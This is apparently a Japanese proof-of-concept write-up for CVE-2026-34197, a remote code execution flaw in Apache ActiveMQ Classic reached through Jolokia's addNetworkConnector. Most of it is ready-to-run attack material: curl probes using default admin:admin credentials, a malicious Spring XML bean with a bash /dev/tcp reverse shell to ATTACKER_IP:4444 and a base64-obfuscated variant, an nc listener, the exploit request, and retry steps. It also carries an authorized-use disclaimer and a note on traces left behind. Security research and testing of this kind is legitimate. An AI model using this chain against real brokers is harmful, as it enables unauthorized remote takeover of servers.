
CVE-2026-34197の概念実証エクスプロイト。Apache ActiveMQにおけるJolokiaのaddNetworkConnectorを介したRCEであり、技術ノートとリバースシェルペイロードを含む。
addNetworkConnector RCECVE-2026-34197 の概念実証と技術ノート。Jolokia JMX-HTTP ブリッジ経由で到達可能な Apache ActiveMQ Classic のリモートコード実行(RCE)脆弱性です。
conf/jolokia-access.xml)が、すべての org.apache.activemq:* MBean に対して exec を許可しています。これには Broker.addNetworkConnector(String) が含まれており、vm:// トランスポート URI を受け入れます。ブローカーはその URI の brokerConfig クエリパラメータを取得し、Spring XML ビーン定義ファイルとして解析します。クラスが java.lang.ProcessBuilder で を持つビーンは、Spring がビーングラフを解決する際の副作用としてインスタンス化され、起動されます。デシリアライゼーションのガジェットチェーンは不要です。init-method="start"⚠️ 許可されたテスト・研究・CTF 用途のみ。所有していない、または明示的なテスト許可を得ていないシステムに対して実行しないでください。
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Broker MBean で exec が実際に到達可能であることを確認します:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) は、素の vm://... URI を受け入れません。まずディスカバリーエージェント URI として解析され、vm は登録済みのディスカバリースキームではありません(DiscoveryAgent scheme NOT recognized: [vm])。ActiveMQ の静的ディスカバリースキームである static:(...) でラップすると、内側の vm:// URI がそのまま渡されます:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
リバースシェルのワンライナーには & が含まれており、XML がエンティティ参照の開始として誤って解析しようとするため、<![CDATA[...]]> ラッパーが必要です。エスケープ不要の同等のオプションとして、コマンドを base64 エンコードする方法もあります:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
配信します:
python3 -m http.server 8000
リスナーを起動します:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
Origin ヘッダーが重要です。 このバージョンの jolokia-access.xml で CORS 強制が有効になっている場合(<cors></cors> ブロックが空でも)、Jolokia は状態変更リクエストに対して適切な Origin/Referer を要求します。これを省略すると、ポリシー拒否のレスポンスが返り、実際にはパッチが適用されていないのに適用済みのように見えることがあります。
成功した呼び出しは次を返します:
{"value":"NC","status":200}
この呼び出しは HTTP 上ではブラインドです — コマンド出力を運ぶレスポンスボディはありません — そのため、前のステップのリスナーが実際にシェルをキャッチするものになります。
InstanceAlreadyExistsException の落とし穴addNetworkConnector(String) は、渡す URI に関係なく、結果の JMX オブジェクトを常にコネクタ名 NC で登録します。これは ActiveMQ 自体のハードコードされたデフォルトであり、リクエストから導出されるものではありません:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) は、これを上書きする方法を一切公開していません — 登録される ObjectName を変更する名前/クエリパラメータのトリックはありません(手動でテスト済み: static:(...) ラッパーの外側に ?name=whatever を追加しても黙って無視されます)。
結果として、2回目の addNetworkConnector 呼び出し — 壊れたペイロード後の自身のリトライであれ、以前の成功した実行でコネクタがすでに登録されているためであれ — は失敗します:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
これは回復のためにブローカーの再起動を必要としません。Broker は同じ Jolokia ポリシー上で removeNetworkConnector(String) も公開しています(org.apache.activemq:* に対する <allow operation="*"> 許可は、この操作だけでなくすべてのブローカー操作をカバーします)。名前を指定して古いコネクタをクリアし、再試行します:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
成功した呼び出しは {"value":true,"status":200} を返します。直後にステップ 3 を再実行してください — NC が再登録され、poc.xml が再度実行されます。
admin HTTP Basic 認証情報と同じ ID ではありません。これは OS アカウントとは無関係です。addNetworkConnector は Spring ビーンを一度実行するだけではありません — ブローカー上にライブのネットワークコネクタオブジェクトを登録したままにします(org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC)。これは、生成されたプロセス自体が永続化するかどうかとは無関係に、悪用の永続的な痕跡です。NetworkBridgeConfiguration.java — private String name = "NC"; デフォルトのソースBrokerViewMBean.java — addNetworkConnector / removeNetworkConnector JMX インターフェースNetworkConnector.javaDiscoveryNetworkConnector.java